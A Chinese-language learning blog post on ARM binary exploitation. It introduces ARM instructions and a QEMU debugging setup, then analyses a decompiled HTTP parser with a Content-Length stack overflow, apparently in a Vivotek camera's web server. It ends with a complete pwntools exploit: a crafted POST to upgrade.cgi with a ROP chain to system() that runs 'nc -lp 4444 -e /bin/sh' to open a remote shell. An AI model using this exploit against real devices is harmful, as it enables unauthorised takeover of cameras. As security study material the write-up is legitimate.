Arm pwn学习

Stella981
• 阅读 885

刚刚开始学习ARM pwn,下面如有错误,希望各位大佬多多包han,多多包涵。

先介绍下 Arm的一些常见指令

那就先来

Arm 三操作数指令

Arm pwn学习

看看函数开始时

Arm pwn学习

Arm指令中的 - 感觉蛮简洁的,可以省略很多步骤和指令。

Arm pwn学习

Arm LDR 指令

Arm pwn学习

LDM 和 STM是多数据传送指令,用来装载和存储多个字的数据从/到内存。比如:

Arm pwn学习

寄存器命名:

Arm pwn学习

在常见的程序中 前面的命名一般都是以R*,一些比较特殊的寄存器,就命令,比如 LR SP 在IDA里面都是显示APCS。

Arm pwn学习

Arm 跳转

Arm pwn学习

Arm 程序状态寄存器处理指令

Arm pwn学习

Arm 比较指令

Arm pwn学习

Arm 标志位

Arm pwn学习

做题,了解这些指令就差不多了

环境搭建

可以用qemu-arm加 gdb-multiarch , gdb-multiarch 加gdbserver或者直接arm_now (后面这个。我安装了还是不太会用。逃····

第一种

这种我没具体的调试过,之前就用了一次,感觉没第二种舒服

Arm pwn学习

第二种

首先先下载 arm-debian的qemu镜像

https://people.debian.org/~aurel32/qemu/armel/ or

https://people.debian.org/~aurel32/qemu/armhf/

Arm pwn学习

Arm pwn学习

其他:

Arm pwn学习

实例调试分析

就只开了 nx

漏洞所在的函数

int __fastcall sub_17F80(char *a1)

{

  char *v1; // r4

  char *v2; // r0

  int v3; // r3

  char *v4; // r5

  unsigned int v5; // r9

  unsigned __int8 *v6; // r8

  char *v7; // r3

  int v8; // r6

  int v9; // t1

  int v10; // r10

  int v11; // r2

  int v12; // r2

  unsigned __int8 *v13; // r0

  bool v14; // zf

  int v15; // r2

  int v16; // t1

  bool v17; // zf

  char *v18; // ST14_4

  int v19; // r0

  int v20; // r2

  int v21; // r1

  ssize_t v22; // r5

  int v23; // r2

  char *v24; // r0

  const char *v25; // r6

  char *v26; // r0

  int result; // r0

  int v28; // r6

  FILE *v29; // r0

  int v30; // r6

  FILE *v31; // r0

  const char *v32; // r1

  int v33; // r2

  int v34; // r3

  char *v35; // r7

  char *v36; // r6

  char *v37; // r0

  int v38; // r7

  int v39; // r0

  int v40; // r2

  unsigned int v41; // r3

  char *haystack; // [sp+Ch] [bp-44h]

  char dest[4]; // [sp+18h] [bp-38h]

  int v44; // [sp+1Ch] [bp-34h]

  int v45; // [sp+20h] [bp-30h]

  int v46; // [sp+24h] [bp-2Ch]



  v1 = a1;

  haystack = a1 + 13690;

  v2 = strncpy(a1 + 21882, a1 + 13690, 0x1FFFu);

  v3 = *((_DWORD *)v1 + 1629);

  v4 = &v1[*((_DWORD *)v1 + 18) + 13690];

  v5 = (unsigned int)&haystack[v3];

  if ( dword_34864 & 0x10 && (unsigned int)v4 < v5 )

  {

    haystack[v3] = 0;

    sub_16534(v2);

    fprintf((FILE *)stderr, "%s:%d - Parsing headers (\"%s\")\n", "src/read.c", 57, v4);

  }

  v6 = (unsigned __int8 *)(v4 - 1);

  v7 = v4;

  if ( (unsigned int)v4 >= v5 )

  {

LABEL_26:

    if ( *(_DWORD *)v1 > 3u )

      return 1;

    v21 = *((_DWORD *)v1 + 1629);

    if ( (unsigned int)(0x1FFF - v21) >= 0x2000 )

    {

      sub_1627C(v1);

      fwrite("No space left in client stream buffer, closing\n", 1u, 0x2Fu, (FILE *)stderr);

      result = 0;

      *((_DWORD *)v1 + 4) = 400;

      *(_DWORD *)v1 = 12;

      return result;

    }

    v22 = read(*((_DWORD *)v1 + 1112), &haystack[v21], 0x2000 - v21);

    if ( !strncmp(haystack, "POST", 4u) || (v26 = (char *)strncmp(haystack, "PUT", 3u)) == 0 )

    {

      v23 = (unsigned __int8)v1[13690];

      *(_DWORD *)dest = 0;

      v44 = 0;

      v45 = 0;

      v46 = 0;

      if ( v23 )

      {

        v35 = strstr(haystack, "Content-Length");

        v36 = strchr(v35, '\n');

        v37 = strchr(v35, ':');

        strncpy(dest, v37 + 1, v36 - (v37 + 1)); // 这里复制有bug

      }

      v24 = strstr(haystack, "\r\n\r\n");

      if ( v24 && (v25 = v24 + 4, (signed int)(v24 + 4) <= (signed int)&haystack[*((_DWORD *)v1 + 1629) - 1 + v22]) )

      {

        v26 = strstr(haystack, "upgrade.cgi");

        if ( !v26 || (v26 = strstr(v25, "\r\n\r\n")) != 0 )

        {

          *((_DWORD *)v1 + 7623) = -1;

          goto LABEL_36;

        }

        v30 = (int)(v1 + 28672);

        ++*((_DWORD *)v1 + 7623);

        v31 = (FILE *)stderr;

        v32 = "req->iCount++(2)= %d\n";

      }

      else

      {

        v30 = (int)(v1 + 28672);

        v31 = (FILE *)stderr;

        v32 = "req->iCount++= %d\n";

        ++*((_DWORD *)v1 + 7623);

      }

      fprintf(v31, v32);

      v33 = *(_DWORD *)(v30 + 1820);

      v26 = (char *)(1717986919 * v33);

      *(_DWORD *)(v30 + 1820) = v33 % 20;

    }

LABEL_36:

    if ( v22 < 0 )

    {

      v34 = *_errno_location();

      if ( v34 != 4 )

      {

        if ( v34 == 11 )

          return -1;

        sub_1627C(v1);

        perror("header read");

        *((_DWORD *)v1 + 4) = 400;

        return 0;

      }

    }

    else

    {

      if ( !v22 )

      {

        if ( *((_DWORD *)v1 + 1628) >= (unsigned int)dword_37E6C || *((_DWORD *)v1 + 15) || *((_DWORD *)v1 + 1629) )

        {

          sub_1627C(v1);

          fwrite("client unexpectedly closed connection.\n", 1u, 0x27u, (FILE *)stderr);

        }

        *((_DWORD *)v1 + 4) = 400;

        return 0;

      }

      v14 = (dword_34864 & 0x10) == 0;

      *((_DWORD *)v1 + 1629) += v22;

      if ( !v14 )

      {

        sub_16534(v26);

        v29 = (FILE *)stderr;

        v1[*((_DWORD *)v1 + 1629) + 13690] = 0;

        fprintf(v29, "%s:%d -- We read %d bytes: \"%s\"\n", "src/read.c", 356, v22, "");

      }

    }

    return 1;

  }

  while ( 2 )

  {

    if ( *((_DWORD *)v1 + 7623) > 0 )

      goto LABEL_26;

    v9 = (unsigned __int8)*v4++;

    v8 = v9;

    v10 = v9 - 13;

    if ( v9 != 13 )

      v10 = 1;

    if ( v8 == 161 )

      v11 = v10 & 1;

    else

      v11 = 0;

    if ( v11 )

    {

      v12 = *v6;

      v13 = v6;

      v14 = v12 == 0;

      if ( *v6 )

        v14 = v12 == 10;

      if ( !v14 )

      {

        do

        {

          v16 = *(v13-- - 1);

          v15 = v16;

          v17 = v16 == 0;

          if ( v16 )

            v17 = v15 == 10;

        }

        while ( !v17 );

      }

      v18 = v7;

      v19 = strncmp((const char *)v13 + 1, "User-Agent:", 0xBu);

      v7 = v18;

      if ( v19 )

      {

        sub_1627C(v1);

        fprintf((FILE *)stderr, "Illegal character (%d) in stream.\n", 161);

        sub_1BC48(v1);

        return 0;

      }

    }

    v20 = *(_DWORD *)v1;

    switch ( *(_DWORD *)v1 )

    {

      case 0:

        if ( v8 == 13 )

        {

          *((_DWORD *)v1 + 17) = v7;

          *(_DWORD *)v1 = 1;

          goto LABEL_24;

        }

        if ( v8 != 10 )

          goto LABEL_24;

        *((_DWORD *)v1 + 17) = v7;

        *(_DWORD *)v1 = 2;

        goto LABEL_52;

      case 1:

        if ( v8 != 10 )

          goto LABEL_22;

        *(_DWORD *)v1 = 2;

LABEL_52:

        ++*((_DWORD *)v1 + 18);

        goto LABEL_53;

      case 2:

        if ( v8 == 13 )

        {

          *(_DWORD *)v1 = 3;

          goto LABEL_24;

        }

        if ( v8 != 10 )

        {

LABEL_23:

          *(_DWORD *)v1 = 0;

LABEL_24:

          ++*((_DWORD *)v1 + 18);

LABEL_25:

          ++v6;

          v7 = v4;

          if ( (unsigned int)v4 >= v5 )

            goto LABEL_26;

          continue;

        }

LABEL_45:

        ++*((_DWORD *)v1 + 18);

        *(_DWORD *)v1 = 4;

LABEL_46:

        v28 = sub_1A4F4(v1);

        if ( !v28 )

          return 0;

        if ( (unsigned int)(*((_DWORD *)v1 + 3) - 3) > 1 )

          return v28;

        v38 = *((_DWORD *)v1 + 42);

        *((_DWORD *)v1 + 17) = &v1[*((_DWORD *)v1 + 1629) + 13690];

        *((_DWORD *)v1 + 16) = v4;

        *(_DWORD *)v1 = 5;

        if ( !v38 )

        {

          sub_1627C(v1);

          fwrite("Unknown Content-Length POST!\n", 1u, 0x1Du, (FILE *)stderr);

          sub_1BC48(v1);

          return 0;

        }

        v39 = sub_216EC(v38);

        if ( v39 < 0 )

        {

          sub_1627C(v1);

          fprintf((FILE *)stderr, "Invalid Content-Length [%s] on POST!\n", *((_DWORD *)v1 + 42));

          sub_1BC48(v1);

          return 0;

        }

        v40 = *((_DWORD *)v1 + 16);

        v41 = *((_DWORD *)v1 + 17) - v40;

        *((_DWORD *)v1 + 11) = v39;

        *((_DWORD *)v1 + 12) = 0;

        if ( v39 >= v41 )

          return v28;

        *((_DWORD *)v1 + 17) = v40 + v39;

        return v28;

      case 3:

        if ( v8 == 10 )

          goto LABEL_45;

LABEL_22:

        if ( v10 )

          goto LABEL_23;

        goto LABEL_24;

      default:

        ++*((_DWORD *)v1 + 18);

        if ( v20 == 2 )

        {

LABEL_53:

          **((_BYTE **)v1 + 17) = 0;

          if ( *((_DWORD *)v1 + 17) - *((_DWORD *)v1 + 16) > 3071 )

          {

            sub_1627C(v1);

            fprintf(

              (FILE *)stderr,

              "Header too long at %lu bytes: \"%s\"\n",

              *((_DWORD *)v1 + 17) - *((_DWORD *)v1 + 16));

            sub_1BC48(v1);

            return 0;

          }

          if ( *((_DWORD *)v1 + 15) )

          {

            if ( !sub_1A878(v1) )

              return 0;

          }

          else

          {

            if ( !sub_19FF0(v1) )

              return 0;

            if ( *((_DWORD *)v1 + 2) == 1 )

              return sub_1A4F4(v1);

          }

          *((_DWORD *)v1 + 16) = v4;

        }

        else if ( v20 == 4 )

        {

          goto LABEL_46;

        }

        goto LABEL_25;

    }

  }

}

上面看到 strcpy存在bug,就是长度时按照输入来计算的,这时只要控制好,就能实现栈溢出。

先看看前面的的指令有没分析正确

Arm pwn学习

能看出那些寄存器是用来做参数的 r0 r1 r2 ,然后依次往后

Arm pwn学习

r3 是栈顶指针,lr是保存着返回地址,pc就是当前指令的下一条,cpsr 程序状态寄存器

看看程序开头和结尾

开头

Arm pwn学习

结尾

Arm pwn学习

R4-R11,LR都是放进栈里,如果发生了栈溢出,那岂不是能基本控制大多数的参数了,前面4个没有控制,我估摸着是用来做 传参用的。

这道题还是把aslr关了。

看到上图就清楚,此时的栈已经被控制了,执行为箭头所指向的,那r4-r11,LR都给控制了。

关了aslr就是直接执行system了,但是得控制参数,这个就直接用ROPgadgets就OK了

直接控制R0就ok

exp:

from pwn import *



context.log_level ='debug'



p = remote("192.168.2.2",80)

system_addr = 0x76f74ab0



order_commad  = "nc  -lp 4444 -e /bin/sh;pwd;pwd;"

pre = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"

payload = "a"*52+p32(0x00048784+0x76f2d000)+p32(0x7effeb68)+p32(0x00016aa4+0x76f2d000)+'a'*8+p32(system_addr)

payload = pre+payload+order_commad+"\n\r\n\r\n"



p.sendline(payload)

p.interactive()

参考链接:

ivotek远程栈溢出漏洞分析与复现

https://xz.aliyun.com/t/5054

vivetok 摄像头远程栈溢出漏洞分析

https://ray-cp.github.io/archivers/2019-09-22-vivetok\_remote\_stack\_overflow

相关实验:ARM漏洞利用技术一--编写arm shellcode

(通过该实验了解arm环境下编写shellcode的基本过程,以execve()为例,详细介绍了相关步骤,包括系统调用、系统调用后、函数参数、去除空字符、转换进制等。)

点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Karen110 Karen110
3年前
一篇文章带你了解JavaScript日期
日期对象允许您使用日期(年、月、日、小时、分钟、秒和毫秒)。一、JavaScript的日期格式一个JavaScript日期可以写为一个字符串:ThuFeb02201909:59:51GMT0800(中国标准时间)或者是一个数字:1486000791164写数字的日期,指定的毫秒数自1970年1月1日00:00:00到现在。1\.显示日期使用
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
待兔 待兔
5个月前
手写Java HashMap源码
HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22
Jacquelyn38 Jacquelyn38
3年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
Wesley13 Wesley13
3年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Wesley13 Wesley13
3年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Wesley13 Wesley13
3年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
11个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这